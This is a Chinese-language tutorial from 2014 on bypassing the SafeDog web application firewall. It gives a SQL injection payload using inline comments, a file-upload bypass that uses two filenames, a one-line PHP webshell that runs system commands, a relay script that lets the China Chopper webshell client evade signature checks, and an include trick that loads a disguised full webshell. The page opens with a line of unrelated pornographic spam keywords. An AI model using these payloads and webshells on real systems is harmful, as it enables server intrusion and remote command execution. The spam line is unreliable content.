欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

教你如何繞過安全狗(safedog)

  發(fā)布時(shí)間:2014-07-17 15:52:12   作者:佚名   我要評(píng)論
安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品,據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過一些研究,發(fā)現(xiàn)安全狗的一些防護(hù)功能,例如SQL注入、文件上傳、防webshell等都可以被繞過,下面為大家一一介紹。

一、前言

    安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品,據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過一些研究,發(fā)現(xiàn)安全狗的一些防護(hù)功能,例如SQL注入、文件上傳、防webshell等都可以被繞過,下面為大家一一介紹。

二、測試環(huán)境
    本次測試環(huán)境為

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

網(wǎng)站安全狗IIS版3.2.08417

三、SQL注入繞過
    我們先寫一個(gè)存在SQL注入漏洞的php:


復(fù)制代碼
代碼如下:

<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(<a rel="external nofollow" href="mailto:!@mysql_select_db(%22supe%22,$conn">!@mysql_select_db("supe",$conn</a>))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
echo $rom["username"];
}
?>

    我用的是supesite的庫,可以看到這里是有明顯SQL注入漏洞的,當(dāng)沒有安全狗的時(shí)候可以成功注入:

當(dāng)安裝安全狗之后,注入語句會(huì)被攔截:

    經(jīng)過測試發(fā)現(xiàn),安全狗這塊的匹配正則應(yīng)該是\s+and這類的,所以只要想辦法去掉空格,用普通注釋/**/是不行的,安全狗也防了這塊。但是對(duì)內(nèi)聯(lián)注釋/*!and*/這種不知道為什么安全狗沒有攔截。

用下面語句成功繞過SQL注入過濾:

http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人說只有POST才可以,但是我測試最新版本的安全狗GET注入也是可以用這種方法繞過的。

四、文件上傳繞過
    安全狗的防上傳也是做在WEB層,即分析HTTP協(xié)議來防止上傳,按照yuange說的安全是一個(gè)條件語句,這顯然是不符合安全規(guī)范的,只檢查HTTP并不能保證文件系統(tǒng)層上的問題。

    假設(shè)有一個(gè)上傳功能的php:


復(fù)制代碼
代碼如下:

<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "
";
echo "Type: " . $_FILES["file"]["type"] . "
";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />

<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

然后在安全狗里設(shè)置禁止上傳.php文件:

 

然后通過瀏覽器上傳php會(huì)被攔截:

 

    我們通過burp把上傳的HTTP包抓下來,然后自己進(jìn)行一下修改POST數(shù)據(jù)。經(jīng)過了一些實(shí)驗(yàn),直接說結(jié)果吧,當(dāng)增加一處文件名和內(nèi)容,讓兩個(gè)文件名不一致的時(shí)候,成功繞過了安全狗的防護(hù),上傳了php文件。原因是安全狗進(jìn)行文件名匹配時(shí)候用的是第一個(gè)文件名test.jpg,是復(fù)合安全要求的,但是webserver在保存文件的時(shí)候卻保存了第二個(gè)文件名test.php,也就是if(security_check(a)){do(b);},導(dǎo)致安全檢查沒有用,php文件已經(jīng)成功上傳了:

 



   這樣的上傳數(shù)據(jù)可能是不符合RFC規(guī)范的,但是卻達(dá)到了繞過攔截的目的。結(jié)論是每種安全檢查一定要在對(duì)應(yīng)的層次做檢查,而不能想當(dāng)然的在WEB層做系統(tǒng)層該做的事情。

五、一句話webshell繞過
    對(duì)于攻擊者來說,安全狗很煩人的一點(diǎn)就是傳上去的webshell卻不能執(zhí)行。我們就來看看怎么繞過安全狗對(duì)一句話webshell的攔截。

    首先要知道安全狗防webshell仍然是依靠文件特征+HTTP來判斷,但webshell真正執(zhí)行是在腳本層,檢查的層次不對(duì)當(dāng)然也是可以輕易繞過去的。因?yàn)閜hp里面函數(shù)名都可以是變量,文件里哪還有特征啊,上傳如下php:

<?php$_REQUEST['a']($_REQUEST['b']);?>
然后在瀏覽器里執(zhí)行:

http://192.168.200.115/small.php?a=system&b=dir

 

成功執(zhí)行了系統(tǒng)命令,當(dāng)然也可以執(zhí)行php代碼:

http://192.168.200.115/small.php?a=assert&b=phpinfo();

 

六、菜刀繞過
    測試發(fā)現(xiàn)這種一句話雖然可以成功執(zhí)行,但是在菜刀里卻不能用,而有些人非覺得這樣的一句話麻煩,非要用菜刀。經(jīng)分析安全狗對(duì)菜刀的HTTP請求做了攔截,菜刀的POST數(shù)據(jù)里面對(duì)eval數(shù)據(jù)做了base64編碼,安全狗也就依靠對(duì)這些特征來攔截,因此要想正常使用菜刀,必須在本地做一個(gè)轉(zhuǎn)發(fā),先把有特征的數(shù)據(jù)轉(zhuǎn)換。這個(gè)思路類似于對(duì)偽靜態(tài)注入的本地轉(zhuǎn)發(fā)。

    首先在本地搭建WEB SERVER,然后寫一個(gè)php轉(zhuǎn)發(fā)程序:


復(fù)制代碼
代碼如下:

<?php
$target="<a rel="external nofollow" ;//</a>這個(gè)就是前面那個(gè)一句話的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

意思就是在本地先對(duì)eval數(shù)據(jù)進(jìn)行base64解碼,然后再POST到目標(biāo)機(jī)器上去。在菜刀里設(shè)置URL為本地轉(zhuǎn)發(fā)php腳本:

 

這樣就可以使用菜刀來連接前面那個(gè)一句話馬了:

 

    這樣就能用菜刀了,不過大家真的沒必要執(zhí)著于菜刀,向大家推薦一款更好的類似菜刀的工具Altman:



    它的最大特點(diǎn)是開源,這意味著像安全狗這種根據(jù)特征來攔截的,只要改改源代碼把特征字符串改掉,就永遠(yuǎn)也無法攔截。當(dāng)然改這個(gè)代碼要你自己動(dòng)手嘍。

七、webshell大馬繞過
一句話功能畢竟有限,想用大馬怎么辦?仍然是傳統(tǒng)的include大法,傳一個(gè)big.php內(nèi)容如下:

<?phpinclude('logo.txt');?>
然后再把大馬上傳為logo.txt,這樣就成功繞過安全狗的攔截執(zhí)行了webshell:

 

這樣大馬也順利執(zhí)行了。

八、結(jié)束語
    上面從SQL注入、上傳、webshell等幾個(gè)方面繞過了安全狗的保護(hù),有些繞過方法安全狗可能早就知道了,但是為什么一直沒有補(bǔ)?很可能的原因是怕過濾太嚴(yán)格影響某些應(yīng)用,在安全和通用性之間做取舍我認(rèn)為是可以理解的,但是我覺得這也正是安全研究人員存在的價(jià)值所在。

    這里發(fā)幾句題外的牢騷,很多安全公司其實(shí)是當(dāng)作軟件公司來做的,做安全軟件就是去做開發(fā),而忽視了安全研究的價(jià)值。普通的防護(hù)方法原理很簡單,但想要不影響應(yīng)用又保證安全其實(shí)很難,如果沒有對(duì)漏洞和攻擊有深入理解的研究人員,安全產(chǎn)品是沒法更上一層樓的。希望各個(gè)安全公司不要太功利,對(duì)研究人員多一些重視,安全公司真的不能僅僅等同于軟件公司??!

相關(guān)文章

最新評(píng)論